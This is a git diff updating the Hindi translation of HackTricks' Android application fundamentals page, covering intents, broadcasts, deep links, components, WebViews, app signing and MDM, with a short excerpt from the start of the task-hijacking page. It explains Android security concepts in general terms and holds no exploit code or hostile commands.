जाता है। तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\ सरलता के लिए Intent का उपयोग किया जा सकता है: * एक गतिविधि शुरू करने के लिए, आमतौर पर एक ऐप के लिए उपयोगकर्ता इंटरफ़ेस खोलना -* सिस्टम और ऐप्स को परिवर्तनों की जानकारी देने के लिए प्रसारण के रूप में -* एक पृष्ठभूमि सेवा के साथ प्रारंभ, रोकने और संवाद करने के लिए +* सिस्टम और ऐप्स को परिवर्तनों के बारे में सूचित करने के लिए प्रसारण के रूप में +* एक पृष्ठभूमि सेवा को शुरू करने, रोकने और संवाद करने के लिए * ContentProviders के माध्यम से डेटा तक पहुँचने के लिए * घटनाओं को संभालने के लिए कॉलबैक के रूप में -यदि कमजोर है, तो **Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है**। +यदि कमजोर हैं, तो **Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है**। ### Intent-Filter -**Intent Filters** परिभाषित करते हैं **कैसे एक गतिविधि, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है**। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से कार्य कर सकते हैं या वे किस प्रकार के प्रसारण को संसाधित कर सकते हैं। इन फ़िल्टरों की घोषणा करने का प्राथमिक स्थान **AndroidManifest.xml फ़ाइल** के भीतर है, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है। +**Intent Filters** परिभाषित करते हैं **कैसे एक गतिविधि, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है**। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से कार्य कर सकते हैं या वे किस प्रकार के प्रसारण को संसाधित कर सकते हैं। इन फ़िल्टरों की प्राथमिक जगह **AndroidManifest.xml फ़ाइल** के भीतर घोषित करना है, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है। Intent Filters श्रेणियों, क्रियाओं और डेटा फ़िल्टरों से बने होते हैं, जिसमें अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को उन विशिष्ट Intents को संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं। -एंड्रॉइड घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है। +एंड्रॉइड घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट नहीं करते हैं। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** attribute को **`false`** पर सेट करके प्राप्त किया जाता है। इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जो सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ता है कि कौन इसके साथ इंटरैक्ट कर सकता है। ```java @@ -150,7 +142,7 @@ Intent Filters श्रेणियों, क्रियाओं और ड ``` ### Implicit Intents -Intents को Intent कंस्ट्रक्टर का उपयोग करके प्रोग्रामेटिक रूप से बनाया जाता है: +इंटेंट्स को एक इंटेंट कंस्ट्रक्टर का उपयोग करके प्रोग्रामेटिकली बनाया जाता है: ```java Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` @@ -167,7 +159,7 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E ``` An intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए। -"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि कोई **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**। +"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**। ### Explicit Intents @@ -183,30 +175,30 @@ context.startService(intent); ``` ### Pending Intents -ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को** पीड़ित ऐप की ओर से कर सकता है। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**। +ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो एक **दुष्ट अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुष्ट ऐप **पीड़ित की ओर से कोई भी क्रिया करने में सक्षम होगा**। ### Broadcast Intents -पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संदेश प्राप्त करने वाले ऐप को निर्दिष्ट करना संभव है** Intent.set Package का उपयोग करके। +पिछले इरादों के विपरीत, जो केवल एक ऐप द्वारा प्राप्त होते हैं, ब्रॉडकास्ट इरादे **कई ऐप द्वारा प्राप्त किए जा सकते हैं**। हालाँकि, API संस्करण 14 से, यह **संकेतित करना संभव है कि कौन सा ऐप संदेश प्राप्त करना चाहिए** Intent.set Package का उपयोग करके। वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी। -ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को प्रोसेस, रिले या ड्रॉप कर सकता है।** +ब्रॉडकास्ट के **दो प्रकार** हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को संसाधित, पुनः प्रसारित या छोड़ सकता है।** -आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\ -आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश कभी भी ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी। +आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **एक ब्रॉडकास्ट भेज सकते हैं**।\ +आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश ऐप से कभी बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी। ### Sticky Broadcasts -इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\ -इनका उपयोग API स्तर 21 में बंद कर दिया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\ +इस प्रकार के ब्रॉडकास्ट **उनके भेजे जाने के लंबे समय बाद भी पहुंचा जा सकता है**।\ +इनका API स्तर 21 में निराधारित किया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\ **ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।** यदि आप "sticky" शब्द वाले फ़ंक्शंस जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, तो **प्रभाव की जांच करें और उन्हें हटाने का प्रयास करें**। ## Deep links / URL schemes -Android अनुप्रयोगों में, **डीप लिंक** का उपयोग एक क्रिया (Intent) को सीधे एक URL के माध्यम से प्रारंभ करने के लिए किया जाता है। यह एक गतिविधि के भीतर एक विशिष्ट **URL स्कीम** घोषित करके किया जाता है। जब एक Android डिवाइस इस स्कीम के साथ **एक URL तक पहुँचने की कोशिश करता है**, तो अनुप्रयोग के भीतर निर्दिष्ट गतिविधि लॉन्च होती है। +Android अनुप्रयोगों में, **डीप लिंक** का उपयोग एक क्रिया (Intent) को सीधे एक URL के माध्यम से आरंभ करने के लिए किया जाता है। यह एक गतिविधि के भीतर एक विशिष्ट **URL स्कीम** घोषित करके किया जाता है। जब एक Android डिवाइस **इस स्कीम के साथ एक URL तक पहुँचने की कोशिश करता है**, तो अनुप्रयोग के भीतर निर्दिष्ट गतिविधि लॉन्च होती है। स्कीम को **`AndroidManifest.xml`** फ़ाइल में घोषित किया जाना चाहिए: ```xml @@ -247,7 +239,7 @@ The **Android Interface Definition Language (AIDL)** is designed for facilitatin - **Messenger**: एक बंधी सेवा के रूप में कार्य करते हुए, Messenger IPC को सुविधाजनक बनाता है, जो `onBind` विधि के माध्यम से डेटा को संसाधित करने पर ध्यान केंद्रित करता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि का ध्यानपूर्वक निरीक्षण करना आवश्यक है। -- **Binder**: हालांकि AIDL के अमूर्तता के कारण Binder वर्ग का प्रत्यक्ष उपयोग कम सामान्य है, यह समझना फायदेमंद है कि Binder विभिन्न प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर के रूप में कार्य करता है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). +- **Binder**: हालांकि Binder वर्ग का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि Binder विभिन्न प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). ## Components @@ -266,9 +258,9 @@ The **launcher activity** is the main gateway to an app, launched when you tap t ``` -Not all apps need a launcher activity, especially those without a user interface, like background services. +नहीं सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता होती है, विशेष रूप से वे जो उपयोगकर्ता इंटरफ़ेस के बिना होते हैं, जैसे बैकग्राउंड सेवाएँ। -Activities can be made available to other apps or processes by marking them as "exported" in the manifest. This setting allows other apps to start this activity: +गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित करके। यह सेटिंग अन्य ऐप्स को इस गतिविधि को शुरू करने की अनुमति देती है: ```markdown ``` @@ -298,7 +290,7 @@ super.onCreate(); [Services](https://developer.android.com/guide/components/services) **पृष्ठभूमि ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफ़ेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **दीर्घकालिक संचालन** के लिए महत्वपूर्ण हो जाती हैं। -सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि है जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करती है। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो `bindService` विधि का उपयोग क्लाइंट को सेवा से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करते हुए। +सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि है जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करने के लिए उपयोग की जाती है। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो `bindService` विधि का उपयोग क्लाइंट को सेवा से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करते हुए। सेवाओं का एक दिलचस्प अनुप्रयोग पृष्ठभूमि संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग शामिल है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए सुलभ बनाया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है: ```xml @@ -306,11 +298,11 @@ super.onCreate(); ``` ### Broadcast Receivers -**Broadcast receivers** एक मैसेजिंग सिस्टम में लिस्नर्स के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से समान संदेशों का जवाब दे सकते हैं। एक ऐप **दो प्रमुख तरीकों** से **एक रिसीवर** को **रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं। +**Broadcast receivers** एक मैसेजिंग सिस्टम में श्रोता के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से समान संदेशों का जवाब दे सकते हैं। एक ऐप **दो मुख्य तरीकों** से **एक रिसीवर** को **रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं। **Intent filters** दोनों रजिस्ट्रेशन विधियों में महत्वपूर्ण हैं, यह निर्धारित करते हैं कि कौन से ब्रॉडकास्ट रिसीवर को ट्रिगर करते हैं। एक बार जब एक मेल खाने वाला ब्रॉडकास्ट भेजा जाता है, तो रिसीवर का **`onReceive`** मेथड सक्रिय होता है, जिससे ऐप को प्रतिक्रिया देने की अनुमति मिलती है, जैसे कि कम बैटरी अलर्ट के जवाब में व्यवहार को समायोजित करना। -ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि किसी भी ऐप को ब्रॉडकास्ट को इंटरसेप्ट करने के लिए खुद को प्राथमिकता देने का जोखिम होता है। +ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि संभावित सुरक्षा जोखिम है, क्योंकि कोई भी ऐप खुद को प्राथमिकता देकर एक ब्रॉडकास्ट को इंटरसेप्ट कर सकता है। एक रिसीवर की कार्यक्षमता को समझने के लिए, उसकी क्लास में **`onReceive`** मेथड की तलाश करें। इस मेथड का कोड प्राप्त Intent को संशोधित कर सकता है, जिससे रिसीवर्स द्वारा डेटा सत्यापन की आवश्यकता को उजागर किया जा सकता है, विशेष रूप से **Ordered Broadcasts** में, जो Intent को संशोधित या छोड़ सकते हैं। @@ -318,7 +310,7 @@ super.onCreate(); **Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें विस्तृत पहुँच नियंत्रण के लिए `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग किया जाता है। -इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे कि SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं। +इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं। **FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है। @@ -344,7 +336,7 @@ For further information check: ## WebViews -WebViews Android ऐप्स के अंदर **मिनी वेब ब्राउज़र** की तरह होते हैं, जो सामग्री को वेब या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं। +WebViews Android ऐप्स के अंदर **मिनी वेब ब्राउज़रों** की तरह होते हैं, जो सामग्री को वेब या स्थानीय फ़ाइलों से खींचते हैं। इन्हें नियमित ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं। Android दो मुख्य WebView प्रकार प्रदान करता है: @@ -366,15 +358,15 @@ JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के ### **Digital Signing of Applications** -- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे स्थापना से पहले **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित की जानी चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और यह सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे। +- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे **प्रामाणिक रूप से लिखित** हैं इससे पहले कि उन्हें स्थापित किया जाए। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे। ### **App Verification for Enhanced Security** -- **Android 4.2** से शुरू होकर, **Verify Apps** नामक एक सुविधा उपयोगकर्ताओं को स्थापना से पहले ऐप्स की सुरक्षा की जांच करने की अनुमति देती है। यह **सत्यापन प्रक्रिया** उपयोगकर्ताओं को संभावित रूप से हानिकारक ऐप्स के खिलाफ चेतावनी दे सकती है, या यहां तक कि विशेष रूप से दुर्भावनापूर्ण ऐप्स की स्थापना को रोक सकती है, जिससे उपयोगकर्ता की सुरक्षा बढ़ती है। +- **Android 4.2** से शुरू होकर, **Verify Apps** नामक एक सुविधा उपयोगकर्ताओं को ऐप्स की सुरक्षा की जांच करने की अनुमति देती है इससे पहले कि उन्हें स्थापित किया जाए। यह **सत्यापन प्रक्रिया** उपयोगकर्ताओं को संभावित रूप से हानिकारक ऐप्स के खिलाफ चेतावनी दे सकती है, या यहां तक कि विशेष रूप से दुर्भावनापूर्ण ऐप्स की स्थापना को रोक सकती है, उपयोगकर्ता सुरक्षा को बढ़ाती है। ### **Mobile Device Management (MDM)** -- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। मुख्य कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है। +- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। प्रमुख कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है। ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -385,23 +377,17 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 4b241ecca..e79d91f89 100644 --- a/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -15,43 +15,35 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## कार्य, बैक स्टैक और अग्रभूमि गतिविधियाँ -Android में, एक **कार्य** मूल रूप से गतिविधियों का एक सेट है जिसके साथ उपयोगकर्ता एक विशिष्ट कार्य पूरा करने के लिए बातचीत करते हैं, जो एक **बैक स्टैक** के भीतर व्यवस्थित होता है। यह स्टैक गतिविधियों को इस आधार पर क्रमबद्ध करता है कि उन्हें कब खोला गया था, सबसे हाल की गतिविधि शीर्ष पर **अग्रभूमि गतिविधि** के रूप में प्रदर्शित होती है। किसी भी समय, केवल यह गतिविधि स्क्रीन पर दिखाई देती है, जिससे यह **अग्रभूमि कार्य** का हिस्सा बन जाती है। +Android में, एक **कार्य** मूल रूप से गतिविधियों का एक सेट है जिसके साथ उपयोगकर्ता एक विशिष्ट कार्य पूरा करने के लिए बातचीत करते हैं, जो एक **बैक स्टैक** के भीतर व्यवस्थित होता है। यह स्टैक गतिविधियों को इस आधार पर क्रमबद्ध करता है कि उन्हें कब खोला गया था, सबसे हाल की गतिविधि को शीर्ष पर 